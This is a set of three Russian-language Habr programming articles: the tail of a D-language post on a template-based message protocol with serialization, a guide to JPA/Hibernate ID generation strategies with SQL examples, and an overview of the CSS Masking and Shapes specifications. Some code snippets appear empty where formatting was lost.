IndexType sendId = FindMessageId!(Msg, pairs);
auto stream = serialize!SerializerBackend(msg, "MSG");
auto fullStream = new MemoryStream;
fullStream.write(sendId);
fullStream.copyFrom(stream);
fullStream.position = 0;
return fullStream;
}
```
#### Использование
Теперь, когда у нас есть эта навороченная система, нужно ее проверить на практике. Для этого я написал unittest:
**Код**
```
version(unittest)
{
class AMsg : Message
{
int a;
string b;
this() {}
this(int pa, string pb)
{
a = pa;
b = pb;
}
void opCall()
{
writeln("AMsg call with ", a, " ", b);
}
}
class BMsg : Message
{
double a;
double b;
this() {}
this(double pa, double pb)
{
a = pa;
b = pb;
}
void opCall()
{
writeln("BMsg call with ", a, " ", b);
}
}
class CMsg : Message
{
double a;
string s;
this() {}
this(double pa, string ps)
{
a = pa;
s = ps;
}
void opCall()
{
writeln("CMsg call ", a, " ", s);
}
}
mixin ProtocolPool!(int, GendocArchive,
0, AMsg,
1, BMsg,
2, CMsg
);
}
unittest
{
void readMsg(Stream stream)
{
int id;
stream.read(id);
writeln("Got message id is ",id);
auto message = dispatchMessage!(deserialize)(id, stream, "MSG");
writeln("Calling message");
message();
}
// serializing
auto stream = constructMessage!BMsg(4.0,8.0);
// sending...
// got at other side
readMsg(stream);
stream = constructMessage!AMsg(10, "Hello World!");
readMsg(stream);
stream = constructMessage!CMsg(5., "Some usefull string");
readMsg(stream);
}
```
#### Полный исходный код
Для целостности картины ниже находится полный исходник под Boost лицензией. Для нормальной работы модулю нужен сериализатор, можно прикрутить свой или воспользоваться Orange.
**Код**
```
// Copyright Gushcha Anton 2012.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
module protocol;
import std.stdio;
import std.conv;
import std.stream;
// Злополучный сериализатор, который не вошел в статью
import util.serialization.serializer;
interface Message
{
void opCall();
}
mixin template ProtocolPool(IndexType, SerializerBackend, pairs...)
{
// returns count of val occurenes in list
template CountValInList(IndexType val, list...)
{
static if(list.length > 1)
{
static if(list[0] == val)
enum CountValInList = 1 + CountValInList!(val, list[2..$]);
else
enum CountValInList = CountValInList!(val, list[2..$]);
}
else
enum CountValInList = 0;
}
// check pairs to be correct
template CheckPairs(tpairs...)
{
static if(tpairs.length > 1)
{
static assert(__traits(compiles, typeof(tpairs) ), "ProtocolPool expected index first, but got some type");
static assert(is(typeof(tpairs[0]) == IndexType), "ProtocolPool expected index first of type "~IndexType.stringof~" not a "~typeof(tpairs[0]).stringof);
static assert(is(tpairs[1] : Message), "ProtocolPool expected class implementing Message interface following index not a "~tpairs[1].stringof);
static assert(CountValInList!(tpairs[0], pairs) == 1, "ProtocolPool indexes must be unique! One message, one index.");
enum CheckPairs = CheckPairs!(tpairs[2..$]);
}
else
{
static assert(tpairs.length == 0, "ProtocolPool expected even number of parameters. Index and message type.");
enum CheckPairs = 0;
}
}
// generating switch
template GenerateSwitch()
{
template GenerateSwitchBody(tpairs...)
{
static if(tpairs.length > 0)
{
enum GenerateSwitchBody = "case("~to!string(tpairs[0])~"): return cast(Message)(func!(SerializerBackend, "~tpairs[1].stringof~")(args)); break; \n" ~
GenerateSwitchBody!(tpairs[2..$]);
}
else
enum GenerateSwitchBody = "";
}
enum GenerateSwitch = "switch(id)\n{\n"~GenerateSwitchBody!(pairs) ~
`default: ` ~
" break;\n}";
}
template FindMessageId(Msg, tpairs...)
{
static if(tpairs.length > 0)
{
static if(is(tpairs[1] == Msg))
enum FindMessageId = tpairs[0];
else
enum FindMessageId = FindMessageId!(Msg, tpairs[2..$]);
} else
static assert(false, "Cannot find id for message "~Msg.stringof~". Check protocol list.");
}
// actual check
static assert(CheckPairs!pairs == 0, "Parameters check failed! If code works well, you never will see this message!");
private class dummyClass {}
Message dispatchMessage(alias func, T...)(IndexType id, T args)
{
static assert(__traits(compiles, func!(SerializerBackend, dummyClass)(args)), "ChooseMessage func must be callable with got args "~T.stringof);
//pragma(msg, GenerateSwitch!());
mixin(GenerateSwitch!());
throw new Exception("Cannot find corresponding message for id "~to!string(id)~"!");
}
Stream constructMessage(Msg, T...)(T args)
{
static assert(is(Msg : Message), Msg.stringof~" must implement Message interface!");
static assert(__traits(compiles, new Msg(args)), Msg.stringof~" should implement constructor with formal parameters "~T.stringof);
auto msg = new Msg(args);
IndexType sendId = FindMessageId!(Msg, pairs);
auto stream = serialize!SerializerBackend(msg, "MSG");
auto fullStream = new MemoryStream;
fullStream.write(sendId);
fullStream.copyFrom(stream);
fullStream.position = 0;
return fullStream;
}
}
version(unittest)
{
class AMsg : Message
{
int a;
string b;
this() {}
this(int pa, string pb)
{
a = pa;
b = pb;
}
void opCall()
{
writeln("AMsg call with ", a, " ", b);
}
}
class BMsg : Message
{
double a;
double b;
this() {}
this(double pa, double pb)
{
a = pa;
b = pb;
}
void opCall()
{
writeln("BMsg call with ", a, " ", b);
}
}
class CMsg : Message
{
double a;
string s;
this() {}
this(double pa, string ps)
{
a = pa;
s = ps;
}
void opCall()
{
writeln("CMsg call ", a, " ", s);
}
}
mixin ProtocolPool!(int, BinaryBackend,
0, AMsg,
1, BMsg,
2, CMsg
);
}
unittest
{
void readMsg(Stream stream)
{
int id;
stream.read(id);
writeln("Got message id is ",id);
auto message = dispatchMessage!(deserialize)(id, stream, "MSG");
writeln("Calling message");
message();
}
// serializing
auto stream = constructMessage!BMsg(4.0,8.0);
// sending...
// Got at other side
readMsg(stream);
stream = constructMessage!AMsg(10, "Hello World!");
readMsg(stream);
stream = constructMessage!CMsg(5., "Some usefull string");
readMsg(stream);
}
``` | https://habr.com/ru/post/149809/ | null | ru | null |
# Путеводитель по ID для JPA сущностей. Часть 1: ID, генерируемые на сервере
Разработка инструментария – очень познавательное занятие, потому что заставляется задуматься над теми вещами, которые в процессе разработки иногда не замечаешь. Казалось бы, создание @Id атрибута в JPA – рутинное занятие и каждый разработчик может сделать айдишник, даже не включая мозг. Однако, когда начинаешь углубляться в эту тему и пытаться разработать инструмент, который не только помогает писать код для определения ID, но и подсказывает потенциальные проблемы, то всплывает много интересного. И наши соображения, которыми мы руководствовались при разработке JPA Buddy, вылились в этот цикл статей.
### Введение. Зачем нам вообще нужны ID в JPA сущностях?
Спецификация JPA гласит, что сущность – это обычный Java класс, который удовлетворяет следующим условиям:
1. Должен быть помечен аннотацией `@Entity`.
2. В классе должен быть конструктор без аргументов.
3. Класс не должен быть закрытым (final).
4. И обязательно должно быть поле (или несколько полей) ID с соответствующей аннотацией.
Как видим, поле ID – обязательное. Но почему?
Реляционные базы данных не требуют обязательного определения первичного (и уникального) ключа для таблиц. Да и при доступе к базе через JDBC от нас не требуется знать, есть ли на таблицах первичные ключи или нет. Все, что мы делаем при работе через JDBC – работаем с БД и использованием SQL – языка запросов для баз данных. Чтобы получить данные, разработчик запускает `SELECT` запрос, которые возвращает некоторый набор значений. Чтобы сохранить данные, нужно написать и запустить оператор `INSERT` и т. д. Важный момент здесь: на таком уровне работы с базой данных нет прямой связи между записями в таблицах в базе данных и объектами в приложении. Преобразование выбранных данных в объекты выполняется, как правило, вручную и является частью бизнес-логики приложения.
JPA проповедует другую философию: есть сущности – Java классы, экземпляры которых жестко привязаны к записям в таблицах БД. Ровно поэтому спецификация требует, чтобы разработчики указывали ключевые поля. Это нужно, чтобы делать однозначное сопоставление между объектом в приложении и записью в таблице. Такой подход помогает скрыть низкоуровневые операции с базой данных. Разработчик выбирает из базы объекты, модифицирует их и сохраняет, при этом ORM фреймворк точно знает, с какой конкретно записью БД происходит работа. В итоге это должно помогать сконцентрироваться разработчикам на реализации бизнес-логики, в то время как ORM фреймворк берет на себя все рутинные операции. И, как видно, наличие уникального идентификатора объекта – неотъемлемая часть этого процесса.
*Замечание*: В общем-то, поле ID не должно отображаться на первичный ключ таблицы. Нужно делать отображение на какой-то столбец (столбцы), который уникально идентифицирует строку. Но дальше в статье термины «ID» и «первичный ключ» будут употребляться как взаимозаменяемые.
### Типы ID - что у нас есть?
Итак, нам нужно определить ID для нашей сущности. Что у нас есть в наличии?
Первое: ID может быть «простым» и «составным». «Простой» ID – это одно поле в сущности, а «составной» - это отдельный класс с набором полей для идентификации экземпляра сущности.
В подавляющем большинстве случаев мы используем простые ID для наших сущностей. Их можно генерировать автоматом (суррогатные ID) и это самый распространенный способ присвоения значений для первичного ключа. Генерацией может заниматься сервер БД или это может происходить в приложении. У этих подходов есть как плюсы, так и минусы.
В этой статье мы сфокусируемся на ID, генерируемых в БД. Для простоты изложения мы будем использовать самую распространенную имплементацию JPA – Hibernate – во всех примерах. Другие JPA имплементации будут упомянуты явно, при необходимости.
### Генерация ID – зачем весь этот шум?
Генерация ID обычно случается только однажды – во время сохранения сущности в базу данных. Давайте предположим, что у нас есть приложение, которое работает эксклюзивно с БД и не создает большого количества данных, скажем, не больше 100 записей в секунду. В этом случае, мы, наверное, можем использовать любой способ генерации ID. Приложение для работы со списком названий стран, наверное, будет хорошим примером, новые страны в мире не так часто появляются. А что насчет сохранения данных с электросчетчиков? Если у нас есть 100 счетчиков, которые посылают нам данные каждый час, то можем смело сохранять один замер раз в 36 секунд. Небольшая нагрузка, очевидно. А если взять 1000 счетчиков? Десять тысяч? И сохранять с них данные каждые 10 минут? Сколько будет стоить бизнесу поменять способ генерации ID?
На практике, приложения имеют тенденции к росту, как и бизнес. Собственно, поэтому выбор стратегии генерации первичных ключей – важная тема, которая позволит вам избежать болезненных миграций в будущем. Далее будет употребляться термин «производительность», и, хотя мы не Facebook и не Twitter, и не сохраняем миллионы сущностей в секунду, но это не значит, что нам не нужно думать о выборе стратегии генерации ID заранее. Это позволит избежать некоторых неудобство в будущем.
### Как работает генерация ID по умолчанию
Самый простой способ определить генерируемый ID для JPA сущности – поставить аннотации `@Id` и `@GeneratedValue` над нужным полем. Нам даже не нужно выставлять никакие параметры генерации, значения по умолчанию отработают нормально и в поле будет присваиваться уникальное значение каждый раз при сохранении.
```
@Table(name = "pet")
@Entity
public class Pet {
@Id
@GeneratedValue
@Column(name = "id", nullable = false)
private Long id;
}
```
В мире есть два типа значений по умолчанию: те, которые не надо трогать и те, которые обязательно надо поменять. Значения по умолчанию обычно выставляются так, чтобы с ними все работало. Но так ли они хороши в нашем случае? Давайте посмотрим на значения параметров аннотации `@GeneratedValue`:
```
public @interface GeneratedValue {
GenerationType strategy() default AUTO;
String generator() default "";
}
```
Что у нас тут? Стратегия генерации - `AUTO`. Это означает, что JPA провайдер решает, как генерировать уникальные ID для нашей сущности. И сразу возникает вопрос: а достаточно ли хорош этот способ? Давайте сначала разберемся, какие вообще есть стратегии генерации.
Стандарт JPA, помимо `AUTO`, определяет ещё три стратегии:
* `IDENTITY` - используется встроенный в БД тип данных столбца -identity - для генерации значения первичного ключа.
* `SEQUENCE` - используется последовательность – специальный объект БД для генерации уникальных значений.
* `TABLE` - для генерации уникального значения используется отдельная таблица, которая эмулирует последовательность. Когда требуется новое значение, JPA провайдер блокирует строку таблицы, обновляет хранящееся там значение и возвращает его обратно в приложение. Эта стратегия – наихудшая по производительности и ее желательно избегать. Больше про этот подход можно узнать [из документации](https://docs.jboss.org/hibernate/orm/current/userguide/html_single/Hibernate_User_Guide.html#identifiers-generators-table), здесь мы его рассматривать не будем.
Как написано в [руководстве разработчика](https://docs.jboss.org/hibernate/orm/current/userguide/html_single/Hibernate_User_Guide.html#identifiers-generators-auto), если мы выставляем тип ID, отличный от UUID (Long, Integer и т. д.) и используем стратегию генерации `AUTO`, то Hibernate (начиная с версии 5.0) сделает следующее:
* Попробует использовать стратегию `SEQUENCE`.
* Если БД не поддерживает последовательности (например, MySQL), то будет использоваться стратегия `TABLE` (или `IDENTITY`, в версии до 5.0).
Почему Hibernate сначала пытается использовать `SEQUENCE`? Основная причина – производительность. Как уже говорилось, `TABLE` обладает наихудшей производительностью (хотя самой большой совместимостью с СУБД). [Есть статья](https://amrutprabhu.medium.com/spring-boot-jpa-bulk-insert-performance-by-100-times-14ec10fa682b), в которой автор сравнивает разные стратегии генерации ID, сохраняя 10 000 сущностей в БД. Ему удалось добиться уменьшения времени со 185 секунд до 4.3, когда он начал использовать `SEQUENCE` вместо `IDENTITY` и включил некоторые оптимизации (такие, как пакетная обработка данных). Таким образом, обе стратегии: `IDENTITY` и `TABLE` будут работать, но производительность пострадает.
Самое интересное, что даже `SEQUENCE`в конфигурации по умолчанию не будет работать быстро, производительность будет близка к `IDENTITY`. Это происходит из-за того, что используется всего одна последовательность, а ее параметры не позволяют использовать кэширование ID средствами Hibernate. Мы подробнее поговорим об этом чуть позже.
**Итого**: если для генерации ID оставить значения по умолчанию, то, скорее всего, это негативно повлияет на производительность приложения. Для «боевого» применения будет лучше более тонко настроить стратегии генерации.
### Sequence: как правильно готовить?
Стратегия `SEQUENCE` использует специализированный объект БД – последовательность (sequence) для генерации уникального значения ID сущности и это значение присваивается до сохранения (и это важно!) сущности в БД. Такой алгоритм обеспечивает возможность пакетного (batch) сохранения данных. Это происходит за счет того, что приложению не надо перезапрашивать из базы значение ID после сохранения каждой записи, как это происходит в случае использования identity столбцов, триггеров и т. д.
#### А если ничего не настраивать?
Чтобы использовать последовательность для генерации первичного ключа, все, что нам нужно – написать код, представленный ниже. По факту это то, что сделает стратегия `AUTO`, если наша БД поддерживает последовательности.
```
@Id
@GeneratedValue(strategy = GenerationType.SEQUENCE)
@Column(name = "id", nullable = false)
private Long id;
```
Если мы включим автоматическое создание схемы БД и показ выполняемых запросов в Hibernate, то мы увидим что-то такое:
```
create sequence hibernate_sequence start 1 increment 1;
```
JPA провайдер будет использовать только эту последовательность для всех операторов `INSERT`, сгенерированных для сущностей с настройками стратегии `SEQUENCE` по умолчанию. И это может привести к неприятным последствиям.
Во-первых, значения в последовательности могут просто
закончиться. В большинстве БД максимальное количество значений
последовательности – 2^63-1, исчерпать такое количество значений, конечно,
сложновато. Но все возможно, если ваше приложение генерирует огромное
количество данных; например, у вас огромное количество IoT устройств, постоянно
присылающих замеры или баннерная сеть, которая генерирует миллионы
кликов-событий каждый день.
2^63-1 – большое число*(i) Если мы будем сохранять 10.000 объектов в секунду, нам потребуется около 29 миллионов лет, чтобы исчерпать последовательность. Это означает, что в большинстве приложений можно не беспокоиться, что последовательность закончится, но помнить о конечности набора значений все равно нужно.*
Во-вторых, будет страдать производительность. По умолчанию, мы увеличиваем значение последовательности на 1 и это не позволяет использовать оптимизацию выборки значений в Hibernate. Для каждого сохраняемого объекта ORM вынужден делать запрос в базу. Например, если мы попробуем сохранить пару объектов, то в логах Hibernate увидим примерно следующее:
```
select nextval ('hibernate_sequence')
insert into pet (name, id) values (?, ?)
select nextval ('hibernate_sequence')
insert into pet (name, id) values (?, ?)
```
Можно заметить, что у нас появляются накладные расходы: для каждой операцию вставки мы делаем дополнительную выборку из БД. И это, очевидно, будет влиять на скорость вставки данных в базу.
**Итого**: Значения по умолчанию для стратегии `SEQUENCE` неплохо работают для приложений, которые не генерируют большой объем данных. Если нам нужно больше производительности, и меньше проблем с единственной последовательностью, то нужно менять параметры генерации ID.
#### Что мы можем настроить?
Начнем с простого: назначим отдельную последовательность для генерации ID для сущности.
```
@Id
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "pet_seq")
@Column(name = "id", nullable = false)
private Long id;
```
Если опять заглянем в логи Hibernate, увидим следующий SQL:
```
create sequence pet_seq start 1 increment 50
```
Если не используется последовательность по умолчанию, Hibernate «кэширует» значения ID при выборке из последовательности. Идея в том, чтобы при одном запросе «захватить» какой-то диапазон значений и потом назначать значения ID из этого диапазона. По умолчанию, Hibernate захватывает 50 значений.
Оптимизация работает так:
* **Шаг 1**: Hibernate выполняет один `SELECT` из последовательности и получает текущее значение.
* **Шаг 2**: Если это значение равно начальному значению, с которым создавалась последовательность, то Hibernate выбирает следующее значение ID, и назначает это значение верхней границей диапазона. А значение, выбранное на шаге 1 – нижней границей. В противном случае переходим к шагу 4.
* **Шаг 3**: Вставляем данные, назначаем ID, начиная с `нижней`границы до `верхней`, пока не закончатся значения.
* **Шаг 4**: Выбираем следующее значение ID из последовательности (оно больше, чем начальное). В этом случае Hibernate вычисляет доступный диапазон, используя параметр `allocationSize`. `Нижняя` граница = `ID – allocationSize+1`, `верхняя` = `ID`. Дальше переходим к шагу 3.
Итого, мы делаем только два запроса `SELECT` чтобы сохранить первые 50 сущностей. Для следующих 50-ти нам нужно будет сделать только один дополнительный запрос. Если опять заглянем в логи Hibernate, то увидим:
```
select nextval ('pet_seq'); //получаем 1 – начальное значение, нужно ещё одно
select nextval ('pet_seq'); //получаем 51 – верхнюю границу диапазона
insert into pet (name, id) values (?, ?);// id=1
insert into pet (name, id) values (?, ?);//id=2
//сохраняем остальные 48 сущностей
select nextval ('pet_seq'); //выбираем 101, это верхняя граница, нижняя равна 101 – 50+1 = 52
insert into pet (name, id) values (?, ?);//id=52
//и т. д.
```
В этом подходе есть один недостаток: если мы закрываем сессию с базой данных (приложение перезапустилось или мы пересоздаем entity manager), то неиспользованные значения будут потеряны навсегда. Хороший пример такого короткоживущего приложения – serverless lambda. Если сохраняем только одну сущность за запуск, то остальные 49 значений теряем. Это может привести к более быстрому окончанию значений в последовательности, поэтому для коротких сессий нужно уменьшать шаг последовательности, чтобы не терять много ID.
Для настройки параметров генерации ID, например, для уменьшения шага последовательности, используется аннотация `@SequenceGenerator`. Эта аннотация позволяет нам задать необходимые параметры для генерации последовательности в БД: название, начальное значение и шаг. Код ниже показывает, как создать последовательность с шагом 20.
```
@Id
@SequenceGenerator(name = "pet_seq",
sequenceName = "pet_sequence",
initialValue = 1, allocationSize = 20)
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "pet_seq")
@Column(name = "id", nullable = false)
private Long id;
```
Hibernate сгенерирует и выполнит вот такой вот SQL, если последовательности нет в БД:
```
create sequence pet_sequence start 1 increment 20
```
При определении генератора таким способом нужно помнить следующее: если мы хотим использовать существующую последовательность, то параметр `allocationSize` должен в точности совпадать с шагом последовательности. Если в Hibernate включена валидация схемы, то приложение не запустится, если значения не совпадают.
Отключить валидацию схемы можно, установив параметр `hibernate.id.sequence.increment_size_mismatch_strategy` в значение `LOG` или `FIX`.
Для значения `LOG`Hibernate проигнорирует несовпадение значений параметров генератора и последовательности, и это может привести к нарушениям уникальности при генерации ID. Например, если для генератора значение `allocationSize` равно 20, а в последовательности параметр `increment` равен 1, то мы получим что-то такое:
```
select nextval ('pet_seq'); // выбираем 1 начальное значение, нужно выбрать следующее
select nextval ('pet_seq'); //выбираем 2 – конечное значение диапазона
insert into pet (name, id) values (?, ?);// id=1
insert into pet (name, id) values (?, ?);//id=2
//Закончился диапазон, выбираем следующее
select nextval ('pet_seq'); //выбираем 3 конечное значение, считаем 3 – 20 + 1 = -16 - начальное
insert into pet (name, id) values (?, ?);//id=-16
insert into pet (name, id) values (?, ?);//id=-15
//Новая сессия
select nextval ('pet_seq'); //выбираем 4 – конечное значение, считаем 4 – 20 + 1 = -15 - начальное
insert into pet (name, id) values (?, ?);//id=-15 нарушение уникальности
```
Если поставим значение параметра - `FIX`, то в этом случае Hibernate автоматически поменяет значение `allocationSize` и выставит его равным шагу последовательности, т.е. для нашего случая выше будет установлена 1.
Еще одна штука, которую можно использовать при определении `@SequenceGenerator` - можно переиспользовать одну последовательность для разных сущностей. Нужно просто указать одинаковые значения в `sequenceName` для разных генераторов.
```
//ID Definition for ‘Pet’ entity
@Id
@SequenceGenerator(name = "pet_seq", sequenceName = "common_sequence")
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "pet_seq")
@Column(name = "id", nullable = false)
private Long id;
//ID Definition for ‘Owner’ entity
@Id
@SequenceGenerator(name = "owner_seq", sequenceName = " common_sequence ")
@GeneratedValue(strategy = GenerationType.SEQUENCE, generator = "owner_seq")
@Column(name = "id", nullable = false)
private Long id;
```
**Итого**: явное задание генераторов позволяет нам:
1. Пользоваться оптимизацией выборки ID для лучшей производительности.
2. Настраивать размер пула ID в зависимости от количества вставляемых данных.
3. Использовать одну и ту же последовательность для ID разных сущностей.
И, похоже, что стратегия `SEQUENCE` практически идеальна. Но и на солнце бывают пятна…
#### Несколько клиентов для одной базы – это проблема?
Несмотря на то, что `SEQUENCE` использует БД для генерации ID, но присваивание значений производится в коде приложения. С одной стороны, это дает нам оптимизации и пакетные вставки данных, но с другой стороны другие приложения, которые используют ту же самую БД, даже не подозревают, что им нужно использовать определенную последовательность для генерации значений первичных ключей.
Это может привести к тому, что другие приложения назначают ID в соответствии со своими соображениями и полностью игнорируют последовательность. В итоге, мы можем запросто получить нарушения уникальности первичного ключа, как в нашем приложении, так и в соседних.
**Итого**: Стратегия `SEQUENCE` для генерации ID может не очень хорошо себя показывать, если несколько клиентов работают с одной и той же базой. В таких случаях единственно надежный способ – генерация ID при вставке в базу. И здесь гораздо лучше работает стратегия `IDENTITY`.
### Identity: за и против
`IDENTITY` - это, наверное, самая распространенная стратегия среди разработчиков, использующих MySQL. Но, кроме MySQL, многие СУБД поддерживают аналогичный механизм: специальный тип данных столбца таблицы, которые автоматом назначает уникальные значения вставляемым строкам. Так что эту стратегию можно видеть в большом количестве приложений. Иногда разработчики руководствуются принципом «работало на предыдущих проектах» при выборе этой стратегии в новых приложениях. Мало кто хочет менять привычки, которые не подводили. Когда мы определяем стратегию `IDENTITY` для генерации значений ID, мы получаем надежный способ обеспечения уникальности первичного ключа, (почти) не зависящий от клиентов БД.
```
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(name = "id", nullable = false)
private Long id;
```
Для каждого оператора `INSERT`, база данных автоматически генерирует уникальное значение ID поля. Хотя в некоторых СУБД, если мы указываем значение ID явно, то оно не будет перезаписано, так что, в теории, несколько клиентов могут получить нарушение уникальности, если они назначают значения ID явно.
Поведение стратегии `IDENTITY` схоже с `SEQUENCE`, если мы определим шаг последовательности равным 1. Но есть одно значительное различие. Нужно помнить, что для назначения ID данные должны быть физически вставлены в таблицу. И только после того, как оператор `INSERT` выполнился, мы сможем узнать значение ID. Следовательно, JPA провайдер должен каким-то образом вернуть это значение обратно в приложение после сохранения объекта в БД.
Возникает вопрос: а как ORM выбирает значение ID после вставки? Если JDBC драйвер БД поддерживает JDBC v.3 (а современные БД поддерживают), это делается автоматически. JPA провайдер неявно вызывает метод `Statement.getGeneratedValues()`, который и возвращает сгенерированное значение. Под капотом при вставке данных вызывается примерно такой SQL:
```
insert into pet (name) values (‘Buddy’) RETURNING *
```
А что будет, если у нас старый драйвер? В этом случае JPA провайдер может попытаться выполнить дополнительный запрос самостоятельно (а зачастую нам придется делать это вручную), чтобы на основании сохраненных данных получить значение ID. Ну вот, например, как это может выглядеть для старой версии PostgreSQL. В PostgreSQL тип `IDENTITY` эмулируется через последовательность, но принцип будет примерно таким же в случае использования других СУБД:
```
insert into pet (name) values (?)
select currval('pet_id_seq')
insert into pet (name) values (?)
select currval('pet_id_seq')
```
Использование `IDENTITY` не позволяет использовать пакетную вставку данных. Поскольку ORM должен получать ID после каждой вставки (вне зависимости от версии JDBC драйвера), то он (ORM) разбивает сохранение массива объектов на отдельные вызовы `INSERT`. Мы просто не можем себе позволить отправить список объектов на сохранение в БД и получить массив ID взамен. БД не гарантирует порядок вставки для пакетных операций, так что ID могут быть не в том порядке, в котором был наш список объектов. Следовательно, нельзя будет надежно сопоставить значение ключа с объектом, а это есть критическая часть работы JPA. Так что единственный выход – сохранять по одному объекту.
**Итого**: стратегия `IDENTITY` проста в использовании и позволяет надежно получать уникальные ID вне зависимости от клиентов, использующих БД.
С другой стороны, данная стратегия не позволяет использовать пакетное сохранение данных, а производительность обычных операций вставки также может быть чуть ниже, чем при использовании последовательностей. Следовательно, рекомендуется использовать `IDENTITY` для случаев, когда мы сохраняем небольшой объем данных или когда есть риск, что одна и та же база данных используется несколькими приложениями, которые могут туда писать данные.
### Подведем итоги: Identity vs Sequence vs остальное
Итак, какую же стратегию выбрать для генерации ID для наших JPA сущностей? Вот пара рекомендаций.
В первую очередь рассмотрите `SEQUENCE`. Эта стратегия обеспечивает самую высокую производительность в сравнении с остальными. Также нужно обратить внимание на следующее:
1. Хорошей практикой считается задание отдельной последовательности для каждой сущности. Нужно избегать использования значений по умолчанию в настройках.
2. Используйте `@SequenceGenerator` для тонкой настройки генерации значений ID и параметров генерируемой последовательности.
3. Шаг последовательности задавайте в соответствии с нагрузкой приложения.
Использование `IDENTITY` оправдано, если:
1. СУБД не поддерживает последовательности.
2. Создается небольшой объем данных.
3. В базу данных могут писать другие приложения.
По возможности старайтесь не использовать стратегии `TABLE` and `AUTO`, с ними будет наихудшая производительность.
Конечно, список всех возможных ID не только исчерпывается простыми полями, значения которых генерируются на сервере БД. В следующих статьях мы обсудим генерацию ID в коде приложения (особенно UUID). Также, хотя это и не очень распространенный случай, поговорим о составных ID, там тоже есть что обсудить. | https://habr.com/ru/post/653843/ | null | ru | null |
# Понятно про CSS Masking и Shapes Modules, или Будущая революция дизайна контента
Доброго времени суток уважаемые хабражители. На сегодняшний день с помощью CSS можно создать множество различных элементов. Это безусловно очень радует, вспоминая веб несколько лет назад. Но порой так «устаешь» от всех этих изощрений с :before и :after… Недавно я нашел две интересных спецификации [CSS Masking Level 1](https://dvcs.w3.org/hg/FXTF/raw-file/tip/masking/index.html) и [CSS Shapes Level 2](http://dev.w3.org/csswg/css-shapes-2/), благодаря которым в недалеком будущем перед нами откроются совершенно новые возможности оформления контента и разработки форм элементов.
#### CSS Masking
##### Совместимость
Все современные браузеры поддерживают свойства mask и clip-path, как определено в SVG 1.1 для элементов SVG. Но только Firefox позволяет применять эти свойства к HTML элементам, причем без префиксов. Но говоря конкретно про спецификацию CSS Masking, то свойства mask, clip-path, mask-box-image поддерживаются только на последних Webkit/Blink с префиксом webkit.
##### clip-path
Свойство clip-path создает область отсечения для любого из HTML элементов или графических элементов, в том числе элементам-контейнерам SVG — clipPath. Образовавшиеся элементы возможно анимировать. [Одно впечатляющее демо](http://codepen.io/Pestov/pen/IzAJr) (к сожалению работает только на последних Chrome).
* ```
rectangle(x, y, width, height, [rx, ry]);
```
Описывает прямоугольник, значения **x** и **y** определяют позицию формы, **width** и **height** — ширину и высоту, **rx** и **ry** — радиус углов.
* ```
circle(cx, cy, r);
```
Описывает круг, значения **cx** и **cy** определяют координаты центра круга, **r** — радиус.
* ```
ellipse(cx, cy, rx, ry);
```
Описывает окружность, значения **cx** и **cy** определяют координаты центра окружности, **rx** и **ry** — радиус.
* ```
polygon( , , ..., );
```
Описывает многоугольник на основе переданных координат.
* ```
url(path/to/image.png);
```
Описывает форму заданную выбранным изображением или SVG файлом.
**Пример использования**
```
.element1 {
clip-path: url(#clipping);
}
.element2 {
clip-path: circle(50%,50%,50%);
}
```
##### Маски
Помимо обрезания спецификация регламентирует наложение маски в CSS (также как в Photoshop). Изображение-маска используется как «цветовая сетка» для фильтрации видимых частей элемента. Маски делятся на два вида: маска цветовой насыщенности (Luminance Mask) и альфа маска (Alpha Mask).
###### Маска цветовой насыщенности
Изображение маски цветовой насыщенности (рис. сверху слева) превращается в растеризованное изображение шкалы яркости (если оно уже не в шкале яркости). Чем «светлее» часть изображения-маски, тем больше в данном месте будет виден элемент.
###### Альфа маска
В наложении альфа-маски (рис. сверху справа) используются те же принципы, что и в маске цветовой насыщенности. Отличие в том, что здесь значение только альфа-канал изображения. Чем более непрозрачна часть изображения-маски, тем менее видным будет элемент в том же месте.
Значения и функции приведенных ниже свойств полностью эквиваленты **backgroud**:
* mask
* mask-image
* mask-repeat
* mask-position
* mask-clip
* mask-origin
* mask-size
**Пример использования**
```
img {
mask: url(#masking);
}
```
```
```
##### mask-box-image
Единственным свойством не имеющего аналога в background является **mask-box-image**. Свойство разделяет изображение-маску на девять мозаичных элементов: четыре угла, четыре края и середину. Получившиеся части можно раскладывать на слои, масштабировать и растягивать разными способами.
```
mask-box-image: [ ]
```
Интересной особенностью является то, что маской может быть CSS градиент. А значения **x-repeat** и **y-repeat** такие же как и в border-image:
* *stretch* — растягивает рисунок границы до размеров элемента. Это значение используется по умолчанию.
* *repeat* — повторяет отображение маски по всей границе элемента
* *round* — повторяет отображение маски и масштабирует его так, чтобы на стороне элемента оказалось целое число изображений.
```
img {
mask-box-image: url("stamp.svg") 35 repeat; /* 35 это расстояние от краев изображения маски до соответствующего края серединного пазла */
}
```
#### CSS Shape
*Насколько я понимаю данная спецификация это модернизированная [CSS Exclusions](http://dev.w3.org/csswg/css-exclusions/). Если я не прав, буду благодарен комментариям разъясняющим этот момент.*
##### Поддержка
CSS Shapes поддерживаются в последних сборках [WebKit Nightly](http://nightly.webkit.org/) и [Chrome Canary](https://www.google.com/intl/ru/chrome/browser/canary.html) (в *chrome://flags* активируйте пункт *Enable experimental WebKit features*).
##### Shape-outside
Shape-outside создает форму внутри элемента, вокруг которой будет происходить обтекание. Свойство работает только для float элементов.
*Для лучшего понимания shape-outside, наглядно продемонстрировал его работу в приведенном ниже примере в inset-rectangle. Сам элемент прозрачный синего цвета, форма для обтекания внутри. Также стоит обратить внимание на то, что для всех элементов используется свойство clip-path, которое только отсекает заданную форма элемента, но никак не влияет на обтекание*
[**Демо**](http://codepen.io/Pestov/pen/aBAKF)
* ```
rectangle(x, y, width, height, [rx, ry]);
```
Описывает прямоугольник, значения **x** и **y** определяют позицию формы, **width** и **height** — ширину и высоту, **rx** и **ry** — радиус углов. Позиционирование формы происходит по origin к элементу.
* ```
rectangle(x, y, width, height, [rx, ry]);
```
Описывает прямоугольник, значения **x** и **y** определяют позицию формы, **width** и **height** — ширину и высоту, **rx** и **ry** — радиус углов. Позиционирование формы происходит как для самого элемента.
* ```
circle(cx, cy, r);
```
Описывает круг, значения **cx** и **cy** определяют координаты центра круга, **r** — радиус.
* ```
ellipse(cx, cy, rx, ry);
```
